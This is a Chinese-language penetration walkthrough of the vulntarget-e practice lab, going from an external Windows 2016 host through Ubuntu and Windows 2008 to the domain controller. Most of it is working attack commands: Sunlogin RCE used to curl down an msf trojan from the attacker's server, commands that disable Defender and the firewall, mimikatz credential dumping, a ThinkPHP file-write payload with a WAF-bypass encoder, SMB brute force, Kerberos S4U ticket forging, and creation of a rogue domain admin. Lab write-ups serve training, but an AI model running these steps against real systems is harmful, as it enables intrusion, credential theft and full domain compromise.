vulntarget-e 打靶

1.外网靶机(win2016)

端口扫描,49773端口存在向日葵服务

扫描是否存在向日葵rce

image-20241112123209675

https://github.com/Mr-xn/sunlogin_rce

尝试执行命令

1
sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "whoami"

image-20241112123339580

生成msf木马 python开启http服务下载木马 有windows Defender(关闭) 关闭防火墙

1
2
3
4
python -m http.server 80
sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "curl -o c://bb.exe http://192.168.237.129/bind.exe"
sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "set-MpPreference -DisableRealtimeMonitoring $true"
sunRce.exe -t rce -p 49773 -h 192.168.237.139 -c "netsh advfirewall set allprofiles state off"

msf 开启监听 执行木马,成功收到会话

image-20241112124428715

看一下系统权限,不需要提权

image-20241112124519183

查一下ip信息,以及在不在域中 有乱码 chcp 65001

1
2
net view /domain
dir c://user

image-20241112125736113

1
2
ipconfig /all
存在 192.168.100.155/24 网段

添加路由

image-20241112130021052

加载mimikatz 看看能不能读取密码

1
2
load kiwi
creds_all

image-20241112130526254

破解一下hash

image-20241112130619492

1
开启3389服务  远连搜集信息
1
2
3
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

使用venom代理

image-20241112133446266

2.Ubuntu

挂代理扫描端口发现存活ip

image-20241112133715850

扫描目录没有进展,登录浏览器查看了一下浏览记录

image-20241112134621981

发现了三个记录

1
2
3
http://192.168.100.131/
http://192.168.100.131/vulntarget/public/
http://192.168.100.131/vulntarget/public/index.php

image-20241112202651782

400 联系到前面给的域名 进行host碰撞

image-20241112204140172

最终找到

1
192.168.100.131 -- www.cJO6w10YLS.com 协议:http:// 数据包大小:649 标题:vulntarget后台登录界面

修改hosts文件 将域名和ip做绑定 (挂代理访问)

image-20241112231141382

访问http://192.168.100.131/vulntarget/public/ 找到thinkphp框架

image-20241112231437685

网上找的payload被waf拦截了

image-20241112232154615

system还被禁用了

image-20241112232309947

试着使用file_put_contents 写文件的payload

1
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo(); ?>

又被waf拦截了,先试试能不能写进去

在本目录写文件会被拦截,上一级目录也会被拦截,最终在上两级目录写下

image-20241113190345558

因为还有宝塔waf,还要考虑绕waf, urldecode三次编码

image-20241113192206132

蚁剑加个编码器,挂上代理连蚁剑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
'use strict';

// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}

还要记得配置一下host 要不连不上

image-20241113193440148

翻到了一个key,直接ssh连接

image-20241113201437794

直接用key远连拿到root权限,进来先关闭一下防火墙

1
2
3
4
ufw status			#查看防火墙状态
ufw disable #关闭防火墙
iptables -A INPUT -j ACCEPT #允许所有的入站连接和流量通过防火墙
iptables -A OUTPUT -j ACCEPT #允许所有的出站连接和流量通过防火墙

查看内网网段发现,发现192.168.88.100/24 网段

image-20241113201949530

上传venom客户端再加一层代理

win2008

上传fscan扫内网 存在445端口

image-20241113210520170

smb 爆破 试试

image-20241113210655722

有了账户密码横向移动

image-20241113214212666

ubuntu存在python 直接开启一个http服务传一个msf木马上去

1
curl -o ddd.exe http://xxx/ddd.exe

msf上线

image-20241113220706330

getsystem 抓一下密码

抓到了一个密码先存起来

image-20241113220921050

域控

非约束性委派

上传Adfind kekeo mimikatz 并开启3389

1
2
3
4
5
6
7
8
#查询域中配置非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表,包括 cn、distinguishedName 和 msds-allowedtodelegateto。
该命令的目的是在指定的 Active Directory 中查找满足条件的委派账户,并返回这些账户的 cn、distinguishedName 和 msds-allowedtodelegateto 属性值。

image-20241114174952407-17315850459991

1
2
3
4
#请求约束性委派用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
#伪造S4U请求并访问CIFS服务
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

利用mimikatz导入S4U2proxy阶段生成的ST并访问域控10.10主机

1
2
3
4
5
6
#导入ST
privilege::debug
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

#执行命令
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$

添加账户,横向移动

image-20241114175137674

1
2
3
net user admin admin123 /add /domain			#创建一个名为 "admin" 的用户,并将其添加到域中。用户的密码为 "admin"。使用 /domain 参数指定在域中执行操作
net group "domain admins" admin /add /domain #将用户 "admin" 添加到 "domain admins" 组中。使用 /domain 参数指定在域中执行操作。此命令假设 "domain admins" 组已经存在。
net group "domain admins" /domain #显示 "domain admins" 组的成员列表。使用 /domain 参数指定在域中执行操作。该命令并未指定要添加或删除成员,只是查看组的成员信息。

挂代理横向移动

image-20241114175404122

1
python wmiexec.py admin:admin123@10.10.10.10

至此拿到域控权限